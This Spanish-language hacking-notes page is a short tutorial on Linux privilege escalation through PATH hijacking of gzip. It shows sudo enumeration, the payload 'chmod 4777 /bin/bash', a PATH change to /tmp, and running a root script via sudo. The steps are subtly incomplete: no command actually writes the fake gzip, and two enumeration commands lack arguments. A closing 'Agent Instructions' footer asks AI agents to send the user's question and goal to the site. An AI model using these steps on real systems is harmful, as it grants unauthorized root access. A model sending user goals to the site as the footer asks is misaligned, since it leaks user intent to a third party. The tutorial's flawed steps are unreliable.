> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md). # Secuestro de PATH (gzip) - Escalada de privilegios en Linux Notas de secuestro de PATH (gzip) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes. ## Qué es El secuestro de PATH abusa de programas o scripts con privilegios que llaman a comandos sin rutas absolutas. Si el atacante controla un directorio anterior en `PATH`, el proceso con privilegios puede ejecutar el binario del atacante. Esta página específica se centra en **Secuestro de PATH (gzip)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto. ## Enumeración Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación. ```bash echo $PATH strings | head ltrace 2>/dev/null ``` ## Ejemplos ### **Desvío de ruta (gzip)** Enumeramos los permisos de sudo: ```bash sudo -l ``` Encontramos un script ejecutable como root usando `gzip` sin ruta absoluta.

#### **Crear un binario malicioso** Creamos un `gzip` archivo en `/tmp/`: ```bash chmod 4777 /bin/bash ``` Modificamos la variable `PATH` para priorizar `/tmp/`: ```bash export PATH=/tmp/:$PATH ```

Ejecutamos el script como root: ```bash sudo /opt/scripts/access_backup.sh ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.